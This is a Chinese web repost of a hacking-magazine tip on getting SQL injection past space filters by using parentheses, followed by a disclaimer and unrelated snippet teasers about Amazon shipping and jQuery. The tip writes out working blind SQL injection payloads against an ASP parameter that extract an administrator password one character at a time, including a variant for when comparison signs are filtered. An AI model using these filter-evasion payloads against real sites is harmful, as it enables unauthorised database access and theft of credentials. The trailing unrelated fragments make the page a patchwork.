时间:2021-05-18
关于空格,有许多替换方式,比如TAB空格,SQL数据库中的,但我又找到了另一种替换方式,已发表于《黑客手册》2006.7期中,这里挑其精华,现一下吧!
对于SQL语句,大家还都习惯于其的空格,比如selectidfrom[name],如果中间没有了空格,那就成了selectidfrom[name],一滩糊涂!除了上面所说到几个空格的替代方法外,我发现用()括号在SQL中一样可以运行,比如上面的语句,就可以写成,select(id)from[name],有括号分隔,可以正常执行。
举个例子说一下,我们得到一个注入点:jmdcw.asp?name=aa'and1=1and''=',如果替换其中的1=1为查询管理员的密码的语句:(selectasc(mid(pass,1,1))from[name]whereid=1)>49。如何用空格呢?其实可以写成这样的:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='
如果屏蔽了<和>符号,则用between…and…,语句是:
jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
呵呵,总结一下,和LOVESHELL上的朋友分享一下。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
圣诞节前流量飙升,订单纷至沓来,但限制发货这个紧箍咒束缚了太多卖家。现在,亚马逊官宣,卖家可以申请突破限制发货了。惊喜!卖家可以申请突破限制发货了昨天,一些卖家
前言做为一个PHPER,难免会遇到那种表单中jQuery限制输入的问题,比如,限制空格的输入,只允许输入数字,以及小数点的控制等等,这里,我们就说一下数字的限制
亚马逊突破发货限制!方法大公开!人人不受库存限制影响!在4月22日的时候,整个亚马逊仓储发生了翻天覆地的变化。最为瞩目的就是从限制asin变为了限制总数量。虽然
这就给这部分被限制上网的朋友们提出了一个难题:被限制不能上网了?那还有没有办法再突破封锁继续上网呢?要再突破封锁也是可以实现的,这里我说一下IP与MAC地址绑定
《网页设计综合指南》是针对网站建设专业指导性技术文章,可以应用于全国任何一个城市,没有地域限制、没有文化限制、没有技术限制,以突破思维性思维设计最好的截面、建设